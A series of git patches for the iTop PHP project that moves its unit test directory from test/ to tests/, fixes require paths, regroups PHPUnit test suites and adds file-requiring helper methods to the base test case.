b/tests/php-unit-tests/unitary-tests/core/mockDict.incphp similarity index 100% rename from test/php-unit-tests/unitary-tests/core/mockDict.incphp rename to tests/php-unit-tests/unitary-tests/core/mockDict.incphp diff --git a/test/php-unit-tests/unitary-tests/core/ormLinkSetTest.php b/tests/php-unit-tests/unitary-tests/core/ormLinkSetTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ormLinkSetTest.php rename to tests/php-unit-tests/unitary-tests/core/ormLinkSetTest.php diff --git a/test/php-unit-tests/unitary-tests/core/ormTagSetTest.php b/tests/php-unit-tests/unitary-tests/core/ormTagSetTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/ormTagSetTest.php rename to tests/php-unit-tests/unitary-tests/core/ormTagSetTest.php diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php b/tests/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php rename to tests/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php b/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php similarity index 99% rename from test/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php rename to tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php index 28df546ab..f5448e701 100644 --- a/test/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php +++ b/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php @@ -222,7 +222,7 @@ class HTMLDOMSanitizerTest extends AbstractDOMSanitizerTest */ public function testDoSanitizeCallInlineImageProcessImageTag($sHtml, $iExpectedCount) { - require_once APPROOT.'test/core/sanitizer/InlineImageMock.php'; + require_once APPROOT.'tests/core/sanitizer/InlineImageMock.php'; InlineImageMock::ResetCallCounter(); $oSanitizer = new HTMLDOMSanitizer(InlineImageMock::class); diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/InlineImageMock.php b/tests/php-unit-tests/unitary-tests/core/sanitizer/InlineImageMock.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/InlineImageMock.php rename to tests/php-unit-tests/unitary-tests/core/sanitizer/InlineImageMock.php diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/README.txt b/tests/php-unit-tests/unitary-tests/core/sanitizer/README.txt similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/README.txt rename to tests/php-unit-tests/unitary-tests/core/sanitizer/README.txt diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php b/tests/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php rename to tests/php-unit-tests/unitary-tests/core/sanitizer/SvgDOMSanitizerTest.php diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.html b/tests/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.html similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.html rename to tests/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.html diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.svg b/tests/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.svg similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.svg rename to tests/php-unit-tests/unitary-tests/core/sanitizer/input/scripts.svg diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt b/tests/php-unit-tests/unitary-tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt rename to tests/php-unit-tests/unitary-tests/core/sanitizer/input/utf-8_wrong_character_email_truncated.txt diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/input/whitelist_test.html b/tests/php-unit-tests/unitary-tests/core/sanitizer/input/whitelist_test.html similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/input/whitelist_test.html rename to tests/php-unit-tests/unitary-tests/core/sanitizer/input/whitelist_test.html diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.html b/tests/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.html similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.html rename to tests/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.html diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.svg b/tests/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.svg similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.svg rename to tests/php-unit-tests/unitary-tests/core/sanitizer/output/scripts.svg diff --git a/test/php-unit-tests/unitary-tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt b/tests/php-unit-tests/unitary-tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt similarity index 100% rename from test/php-unit-tests/unitary-tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt rename to tests/php-unit-tests/unitary-tests/core/sanitizer/output/utf-8_wrong_character_email_truncated.txt diff --git a/test/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php similarity index 98% rename from test/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php rename to tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php index b82eeee6b..12a1c34f4 100644 --- a/test/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php @@ -25,7 +25,7 @@ class UserLocalTest extends ItopDataTestCase { parent::setUp(); - require_once(APPROOT.'test/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php'); + require_once(APPROOT.'tests/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php'); require_once(APPROOT.'env-production/authent-local/model.authent-local.php'); } diff --git a/test/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php similarity index 100% rename from test/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php rename to tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php diff --git a/test/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php rename to tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php diff --git a/test/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php rename to tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php diff --git a/test/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php rename to tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-tickets/itopTicketTest.php diff --git a/test/php-unit-tests/unitary-tests/setup/DBBackupTest.php b/tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/setup/DBBackupTest.php rename to tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php diff --git a/test/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php b/tests/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php rename to tests/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php diff --git a/test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml b/tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml similarity index 100% rename from test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml rename to tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.expected.xml diff --git a/test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml b/tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml similarity index 100% rename from test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml rename to tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/1.7_to_1.6.input.xml diff --git a/test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php b/tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php rename to tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php diff --git a/test/php-unit-tests/unitary-tests/sources/Composer/iTopComposerTest.php b/tests/php-unit-tests/unitary-tests/sources/Composer/iTopComposerTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/sources/Composer/iTopComposerTest.php rename to tests/php-unit-tests/unitary-tests/sources/Composer/iTopComposerTest.php diff --git a/test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php b/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php rename to tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php diff --git a/test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html b/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html similarity index 100% rename from test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html rename to tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html diff --git a/test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html.twig b/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html.twig similarity index 100% rename from test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html.twig rename to tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/test.html.twig diff --git a/test/php-unit-tests/unitary-tests/sources/application/search/CriterionConversionTest.php b/tests/php-unit-tests/unitary-tests/sources/application/search/CriterionConversionTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/sources/application/search/CriterionConversionTest.php rename to tests/php-unit-tests/unitary-tests/sources/application/search/CriterionConversionTest.php diff --git a/test/php-unit-tests/unitary-tests/sources/application/search/CriterionParserTest.php b/tests/php-unit-tests/unitary-tests/sources/application/search/CriterionParserTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/sources/application/search/CriterionParserTest.php rename to tests/php-unit-tests/unitary-tests/sources/application/search/CriterionParserTest.php diff --git a/test/php-unit-tests/unitary-tests/sources/application/search/SearchFormTest.php b/tests/php-unit-tests/unitary-tests/sources/application/search/SearchFormTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/sources/application/search/SearchFormTest.php rename to tests/php-unit-tests/unitary-tests/sources/application/search/SearchFormTest.php diff --git a/test/php-unit-tests/unitary-tests/status/StatusIncTest.php b/tests/php-unit-tests/unitary-tests/status/StatusIncTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/status/StatusIncTest.php rename to tests/php-unit-tests/unitary-tests/status/StatusIncTest.php diff --git a/test/php-unit-tests/unitary-tests/status/StatusTest.php b/tests/php-unit-tests/unitary-tests/status/StatusTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/status/StatusTest.php rename to tests/php-unit-tests/unitary-tests/status/StatusTest.php diff --git a/test/php-unit-tests/unitary-tests/status/status.php b/tests/php-unit-tests/unitary-tests/status/status.php similarity index 100% rename from test/php-unit-tests/unitary-tests/status/status.php rename to tests/php-unit-tests/unitary-tests/status/status.php diff --git a/test/php-unit-tests/unitary-tests/webservices/RestTest.php b/tests/php-unit-tests/unitary-tests/webservices/RestTest.php similarity index 100% rename from test/php-unit-tests/unitary-tests/webservices/RestTest.php rename to tests/php-unit-tests/unitary-tests/webservices/RestTest.php diff --git a/test/php-unit-tests/unittestautoload.php b/tests/php-unit-tests/unittestautoload.php similarity index 100% rename from test/php-unit-tests/unittestautoload.php rename to tests/php-unit-tests/unittestautoload.php diff --git a/test/setup_params/default-params.xml b/tests/setup_params/default-params.xml similarity index 100% rename from test/setup_params/default-params.xml rename to tests/setup_params/default-params.xml diff --git a/test/setup_params/setup.xml b/tests/setup_params/setup.xml similarity index 100% rename from test/setup_params/setup.xml rename to tests/setup_params/setup.xml From 6136eadd31c538bf970392d2f56a01548d4dc652 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 14 Oct 2022 23:07:19 +0200 Subject: [PATCH 097/230] =?UTF-8?q?N=C2=B05608=20-=20Fix=20some=20broken?= =?UTF-8?q?=20require=20paths=20since=20move/rename?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/ItopTestCase.php | 18 ++++++++++-------- tests/php-unit-tests/phpunit.xml.dist | 8 ++++---- .../core/WeeklyScheduledProcessTest.php | 2 +- .../core/sanitizer/HTMLDOMSanitizerTest.php | 2 +- .../2.x/authent-local/UserLocalTest.php | 2 +- .../Validator/iTopConfigAstValidatorTest.php | 4 ++-- .../iTopConfigSyntaxValidatorTest.php | 4 ++-- .../unitary-tests/status/StatusIncTest.php | 2 +- .../unitary-tests/status/status.php | 8 +++++--- 9 files changed, 27 insertions(+), 23 deletions(-) diff --git a/tests/php-unit-tests/ItopTestCase.php b/tests/php-unit-tests/ItopTestCase.php index 18c6c6a68..afc7c8a28 100644 --- a/tests/php-unit-tests/ItopTestCase.php +++ b/tests/php-unit-tests/ItopTestCase.php @@ -39,14 +39,16 @@ class ItopTestCase extends TestCase /** @noinspection UsingInclusionOnceReturnValueInspection avoid errors for approot includes */ protected function setUp(): void { - @include_once '../approot.inc.php'; - @include_once '../../approot.inc.php'; - @include_once '../../../approot.inc.php'; - @include_once '../../../../approot.inc.php'; - @include_once '../../../../../approot.inc.php'; - @include_once '../../../../../../approot.inc.php'; - @include_once '../../../../../../../approot.inc.php'; - @include_once '../../../../../../../../approot.inc.php'; + $sAppRootRelPath = 'approot.inc.php'; + $sDepthSeparator = '../'; + for ($iDepth = 0; $iDepth < 8; $iDepth++) { + if (file_exists($sAppRootRelPath)) { + require_once $sAppRootRelPath; + break; + } + + $sAppRootRelPath = $sDepthSeparator.$sAppRootRelPath; + } } /** diff --git a/tests/php-unit-tests/phpunit.xml.dist b/tests/php-unit-tests/phpunit.xml.dist index 099fb9406..b1cc926bf 100644 --- a/tests/php-unit-tests/phpunit.xml.dist +++ b/tests/php-unit-tests/phpunit.xml.dist @@ -65,16 +65,16 @@ - ../../../env-production/*/test + ../../env-production/*/test - ../../../core/apc-emulation.php - ../../../core/ormlinkset.class.inc.php - ../../../datamodels/2.x/itop-tickets/main.itop-tickets.php + ../../core/apc-emulation.php + ../../core/ormlinkset.class.inc.php + ../../datamodels/2.x/itop-tickets/main.itop-tickets.php diff --git a/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php b/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php index a8cef1666..031a016c1 100644 --- a/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php +++ b/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php @@ -11,7 +11,7 @@ class WeeklyScheduledProcessTest extends ItopTestCase { parent::setUp(); require_once(APPROOT.'core/backgroundprocess.inc.php'); - require_once(APPROOT.'tests/core/WeeklyScheduledProcessMockConfig.php'); + require_once(APPROOT.'tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php'); } diff --git a/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php b/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php index f5448e701..76c30434a 100644 --- a/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php +++ b/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php @@ -222,7 +222,7 @@ class HTMLDOMSanitizerTest extends AbstractDOMSanitizerTest */ public function testDoSanitizeCallInlineImageProcessImageTag($sHtml, $iExpectedCount) { - require_once APPROOT.'tests/core/sanitizer/InlineImageMock.php'; + require_once APPROOT.'tests/php-unit-tests/unitary-tests/core/sanitizer/InlineImageMock.php'; InlineImageMock::ResetCallCounter(); $oSanitizer = new HTMLDOMSanitizer(InlineImageMock::class); diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php index 12a1c34f4..867a28ed5 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php @@ -25,7 +25,7 @@ class UserLocalTest extends ItopDataTestCase { parent::setUp(); - require_once(APPROOT.'tests/php-unit-tests/tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php'); + require_once(APPROOT.'tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php'); require_once(APPROOT.'env-production/authent-local/model.authent-local.php'); } diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php index c29d285d6..68eb076e1 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php @@ -19,8 +19,8 @@ class iTopConfigAstValidatorTest extends ItopTestCase { parent::setUp(); - require_once __DIR__.'/../../../env-production/itop-config/src/Validator/ConfigNodesVisitor.php'; - require_once __DIR__.'/../../../env-production/itop-config/src/Validator/iTopConfigAstValidator.php'; + require_once APPROOT.'env-production/itop-config/src/Validator/ConfigNodesVisitor.php'; + require_once APPROOT.'env-production/itop-config/src/Validator/iTopConfigAstValidator.php'; } diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php index 77427cd94..c4a5aaa1e 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php @@ -20,8 +20,8 @@ class iTopConfigSyntaxValidatorTest extends ItopTestCase { parent::setUp(); - require_once __DIR__.'/../../../env-production/itop-config/src/Validator/ConfigNodesVisitor.php'; - require_once __DIR__.'/../../../env-production/itop-config/src/Validator/iTopConfigSyntaxValidator.php'; + require_once APPROOT.'env-production/itop-config/src/Validator/ConfigNodesVisitor.php'; + require_once APPROOT.'env-production/itop-config/src/Validator/iTopConfigSyntaxValidator.php'; } diff --git a/tests/php-unit-tests/unitary-tests/status/StatusIncTest.php b/tests/php-unit-tests/unitary-tests/status/StatusIncTest.php index 645c9ded5..a135e13de 100644 --- a/tests/php-unit-tests/unitary-tests/status/StatusIncTest.php +++ b/tests/php-unit-tests/unitary-tests/status/StatusIncTest.php @@ -38,7 +38,7 @@ class StatusIncTest extends TestCase { { //AppRoot is the directory containing the directory //Assume getcwd() is runned inside APPROOT/test - $this->sAppRoot = __DIR__.'/../../sources/application/status'; + $this->sAppRoot = __DIR__.'/../../../../sources/application/status'; } /** diff --git a/tests/php-unit-tests/unitary-tests/status/status.php b/tests/php-unit-tests/unitary-tests/status/status.php index c81b17aff..3c89ef55e 100644 --- a/tests/php-unit-tests/unitary-tests/status/status.php +++ b/tests/php-unit-tests/unitary-tests/status/status.php @@ -1,8 +1,10 @@ Date: Sat, 15 Oct 2022 21:10:41 +0200 Subject: [PATCH 098/230] =?UTF-8?q?N=C2=B05608=20-=20Move/rename=20"status?= =?UTF-8?q?"=20unit=20tests=20to=20match=20their=20counterpart=20location/?= =?UTF-8?q?name?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../{ => sources/application}/status/StatusIncTest.php | 2 +- .../{ => sources/application}/status/StatusTest.php | 0 .../unitary-tests/{ => sources/application}/status/status.php | 2 +- 3 files changed, 2 insertions(+), 2 deletions(-) rename tests/php-unit-tests/unitary-tests/{ => sources/application}/status/StatusIncTest.php (97%) rename tests/php-unit-tests/unitary-tests/{ => sources/application}/status/StatusTest.php (100%) rename tests/php-unit-tests/unitary-tests/{ => sources/application}/status/status.php (91%) diff --git a/tests/php-unit-tests/unitary-tests/status/StatusIncTest.php b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php similarity index 97% rename from tests/php-unit-tests/unitary-tests/status/StatusIncTest.php rename to tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php index a135e13de..4dc6a559a 100644 --- a/tests/php-unit-tests/unitary-tests/status/StatusIncTest.php +++ b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php @@ -38,7 +38,7 @@ class StatusIncTest extends TestCase { { //AppRoot is the directory containing the directory //Assume getcwd() is runned inside APPROOT/test - $this->sAppRoot = __DIR__.'/../../../../sources/application/status'; + $this->sAppRoot = __DIR__.'/../../../../../../sources/application/status'; } /** diff --git a/tests/php-unit-tests/unitary-tests/status/StatusTest.php b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusTest.php similarity index 100% rename from tests/php-unit-tests/unitary-tests/status/StatusTest.php rename to tests/php-unit-tests/unitary-tests/sources/application/status/StatusTest.php diff --git a/tests/php-unit-tests/unitary-tests/status/status.php b/tests/php-unit-tests/unitary-tests/sources/application/status/status.php similarity index 91% rename from tests/php-unit-tests/unitary-tests/status/status.php rename to tests/php-unit-tests/unitary-tests/sources/application/status/status.php index 3c89ef55e..332e900bf 100644 --- a/tests/php-unit-tests/unitary-tests/status/status.php +++ b/tests/php-unit-tests/unitary-tests/sources/application/status/status.php @@ -2,7 +2,7 @@ // Include status functions // Important: We can't use the APPROOT constant here as the current script will be executed via the PHP exec() function which won't have it loaded yet. -require_once __DIR__.'/../../../../sources/application/status/status.inc.php'; +require_once __DIR__.'/../../../../../../sources/application/status/status.inc.php'; // Do check Status try From c0cee02351d0586349453de85b82793494f0b98a Mon Sep 17 00:00:00 2001 From: Molkobain Date: Sat, 15 Oct 2022 21:12:47 +0200 Subject: [PATCH 099/230] =?UTF-8?q?N=C2=B05608=20-=20Factorize=20all=20cor?= =?UTF-8?q?e=20modules=20tests=20to=20a=20single=20test=20suite?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/README.md | 3 ++- tests/php-unit-tests/phpunit.xml.dist | 20 ++++++++------------ 2 files changed, 10 insertions(+), 13 deletions(-) diff --git a/tests/php-unit-tests/README.md b/tests/php-unit-tests/README.md index 04d26c928..e4058802c 100644 --- a/tests/php-unit-tests/README.md +++ b/tests/php-unit-tests/README.md @@ -1,4 +1,5 @@ -# Where should I add my test? +# PHP unitary tests +## Where should I add my test? - Covers an iTop PHP class or method? - Most likely in "unitary-tests". diff --git a/tests/php-unit-tests/phpunit.xml.dist b/tests/php-unit-tests/phpunit.xml.dist index b1cc926bf..8273b60c3 100644 --- a/tests/php-unit-tests/phpunit.xml.dist +++ b/tests/php-unit-tests/phpunit.xml.dist @@ -28,24 +28,15 @@ + unitary-tests/application unitary-tests/core - - - unitary-tests/datamodels/2.x/authent-local - - - integration-tests - - - unitary-tests/datamodels/2.x/itop-config - - - unitary-tests/datamodels/2.x/itop-tickets + + unitary-tests/datamodels/2.x unitary-tests/setup @@ -67,6 +58,11 @@ ../../env-production/*/test + + + + integration-tests + From 7de6c7215482dbdfd038b958dcb25146035e34bb Mon Sep 17 00:00:00 2001 From: Molkobain Date: Sun, 16 Oct 2022 11:35:37 +0200 Subject: [PATCH 100/230] Tests: Rename provider method name to match convention --- .../sources/application/TwigBase/Twig/TwigTest.php | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php b/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php index f14420c81..5924d0960 100644 --- a/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php +++ b/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php @@ -44,17 +44,12 @@ class TwigTest extends ItopDataTestCase $oTwig->addFunction($oFunction); } - $sHtml = $oTwig->render($sId, ['AttackerURL' => 'file://'.__DIR__.'/attacker']); - - $this->assertEquals($sExpected, $sHtml); - } - - public static function TemplateProvider() + public static function testTemplateProvider() { $aReturn = array(); $aReturn['filter_system'] = [ - 'sFileName' => file_get_contents(__DIR__.'/test.html.twig'), - 'expected' => file_get_contents(__DIR__.'/test.html'), + 'sFileName' => 'test.html', + 'expected' =>file_get_contents(dirname(__FILE__).'/test.html'), ]; return $aReturn; From 5721a324c1989e42448f62b65ca48c0c5f75260b Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 18 Oct 2022 16:52:01 +0200 Subject: [PATCH 101/230] Tests: Always display test status for better feedback --- tests/manual-visual-tests/sanitize_test.php | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/tests/manual-visual-tests/sanitize_test.php b/tests/manual-visual-tests/sanitize_test.php index 411e86349..cfb7b561f 100644 --- a/tests/manual-visual-tests/sanitize_test.php +++ b/tests/manual-visual-tests/sanitize_test.php @@ -18,7 +18,7 @@ function testSanitize ($sValue, $sType, &$index ){ {$sValue} {$sSanitizedValue} - + HTML; @@ -73,7 +79,10 @@ table, tr, td { border-collapse: collapse; } -td.hasDiff { +.status-success { + color: green; +} +.status-error { color: red; } From 6a7dbb06b00e63093606f3bd641dc2e6e72ea16e Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 6 Jan 2023 17:47:58 +0100 Subject: [PATCH 102/230] =?UTF-8?q?N=C2=B05608=20-=20Add=20methods=20to=20?= =?UTF-8?q?require=5Fonce=20an=20iTop=20or=20a=20unit=20test=20file=20to?= =?UTF-8?q?=20avoid=20crashes=20when=20tests=20dir=20is=20moved?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/ItopTestCase.php | 31 +++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/tests/php-unit-tests/ItopTestCase.php b/tests/php-unit-tests/ItopTestCase.php index afc7c8a28..94407524d 100644 --- a/tests/php-unit-tests/ItopTestCase.php +++ b/tests/php-unit-tests/ItopTestCase.php @@ -65,6 +65,37 @@ class ItopTestCase extends TestCase } } + /** + * Require once an iTop file (core or extension) from its relative path to the iTop root dir. + * This ensure to always use the right absolute path, especially in {@see \Combodo\iTop\Test\UnitTest\ItopTestCase::RequireOnceUnitTestFile()} + * + * @param string $sFileRelPath Rel. path (from iTop root dir) of the iTop file (core or extension) to require (eg. 'core/attributedef.class.inc.php' for /core/attributedef.class.inc.php) + * + * @return void + * @since 2.7.9 3.0.3 3.1.0 N°5608 Add method after PHPUnit directory moving + */ + protected function RequireOnceItopFile(string $sFileRelPath): void + { + require_once APPROOT . $sFileRelPath; + } + + /** + * Require once a unit test file (eg. a mock class) from its relative path from the *current* dir. + * This ensure that required files don't crash when unit tests dir is moved in the iTop structure (see N°5608) + * + * @param string $sFileRelPath Rel. path (from the *current* dir) of the unit test file to require (eg. './WeeklyScheduledProcessMockConfig.php' for /tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php in Combodo\iTop\Test\UnitTest\Core\WeeklyScheduledProcessTest) + * + * @return void + * @since 2.7.9 3.0.3 3.1.0 N°5608 Add method after PHPUnit directory moving + */ + protected function RequireOnceUnitTestFile(string $sFileRelPath): void + { + $aStack = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 2); + $sCallerDirAbsPath = dirname($aStack[0]['file']); + + require_once $sCallerDirAbsPath . DIRECTORY_SEPARATOR . $sFileRelPath; + } + protected function debug($sMsg) { if 